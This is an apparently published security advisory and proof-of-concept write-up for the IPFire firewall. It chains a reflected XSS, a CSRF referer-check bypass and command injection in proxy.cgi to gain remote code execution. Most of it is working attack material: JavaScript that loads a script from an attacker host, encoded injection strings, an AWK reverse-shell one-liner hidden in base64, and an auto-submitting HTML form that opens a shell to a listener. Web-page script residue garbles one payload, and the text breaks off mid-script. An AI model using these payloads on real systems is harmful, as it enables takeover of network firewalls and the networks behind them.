It can be maintained via a web interface. The distribution furthermore offers selected server daemons and can easily be expanded to a SOHO server. IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop. Since Version 2, only IPCop's web interface is used. Vulnerability description : ====================================================================== As others linux-router based firewall that I've tested and analyzed, IPFire (based on IPCop) have some vulnerabilities. Through an XSS, it's possible to bypass CSRF-referer checking and exploit a Remote Command Execution to gain a full reverse-shell. The method detailed below is very similar to the one presented in my previous article for IPCop some year ago. IPCop 2.1.4 Remote Command Execution : https://www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution/ Proof of Concept 1 : ====================================================================== A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers or blocked with Anti-XSS engine. This XSS works on IE and affect IPFire version < 2.19 Core Update 101. File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 : &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname); PoC: https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="90bfc2c8c3c3bdc9f1fefecfd3d1ddcfbdcfc3f5f3e5e2f9e4e9cfd3fffee3e5fce4f1fee4cfd0d1c3f1f6f5e4e9">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_-_SYNETIS/)</script> Proof of Concept 2 : ====================================================================== CSRF exploit bypass from previous XSS. IPFire is protected against CSRF attack with a referer checking on all page. It's possible to bypass this protection with the previous XSS detailed. To do this, load a third party JS script with the XSS, and make Ajax request over IPFire context (so with the right referer). This XSS works on IE and affect IPFire version < 2.19 Core Update 101. File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 : &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname); PoC : Host a third party JS script on a web server accessible from IPFire. In this JS script, load JQuery dynamically and perform any AJAX request to an IPFire targeted page. All AJAX request bypass the CSRF protection. * Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js: var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); function loadX(){ // AJAX CSRF bypass referer checking ! $.ajax({ type: 'POST', url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>", contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: '<YOUR_DATA>' }); // payload of your choice } setTimeout("loadX()",2000); * XSS to load dynamically this third party script : var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script); * Escape this string with escape() Javascript method : %76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09 * Make the final URL with XSS in GET param that load dynamically the third party script (IE) : https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script> Proof of Concept 3 : ====================================================================== Remote Command Execution in the proxy.cgi file. This file is protected from CSRF execution. Affected version < 2.19 Core Update 101. File /srv/web/ipfire/cgi-bin/proxy.cgi line 4137 : system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass"); The $str_pass isn't sanitized before execution in command line. It's possible to change the "NCSA_PASS" and "NCSA_PASS_CONFIRM" post data with arbitrary data. So the RCE can be exploited with this PoC (if the Referer is defined to IPFire URL) : <html> <body> <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'> <input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' /> <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' /> <input type='hidden' name='NCSA_USERNAME' value='yanncam' /> <input type='hidden' name='ACTION' value='Ajouter' /> </form> <script>document.forms['x'].submit();</script> </body> </html> Note that the ACTION POST param depend on the IPFire language defined. Proof of Concept 4 : ====================================================================== Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPFire. IPFire does not have netcat nor telnet, socat, python, ruby, php etc ... The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used : (From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/) * The reverse-shell one-line with AWK is : awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null * To bypass IPFire filter, you need to encode this command in base64 (after modify <IP> and <PORT>) : YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA== * Place a at each bloc of 64 chars in the base64 version : YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx lKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG M7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J iBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg fX0nIC9kZXYvbnVsbA== * This payload can be echo'ed and decoded with openssl, on the fly, into IPFire : echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx lKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG M7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J iBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg fX0nIC9kZXYvbnVsbA==" | openssl enc -a -d * To execute this payload, add backticks and eval call : eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx lKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG M7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J iBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg fX0nIC9kZXYvbnVsbA==" | openssl enc -a -d` * Your payload is ready to be used into POST param in proxy.cgi, like the previous PoC : ||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx lKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG M7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J iBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg fX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;# * Full PoC (IPFire < 2.19 Core Update 101) (if the referer is defined to IPFire URL, and a netcat is listening # nc -l -vv -p 1337) : <html> <body> <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'> <input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg d2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp bmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw IHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp OyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' /> <input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg d2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp bmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw IHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp OyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' /> <input type='hidden' name='NCSA_USERNAME' value='yanncam' /> <input type='hidden' name='ACTION' value='Ajouter' /> </form> <script>document.forms['x'].submit();</script> </body> </html> Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps. * With the XSS method to bypass CSRF Referer checking, the third party JS script can be : var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); function loadX(){ // AJAX CSRF bypass referer checking !
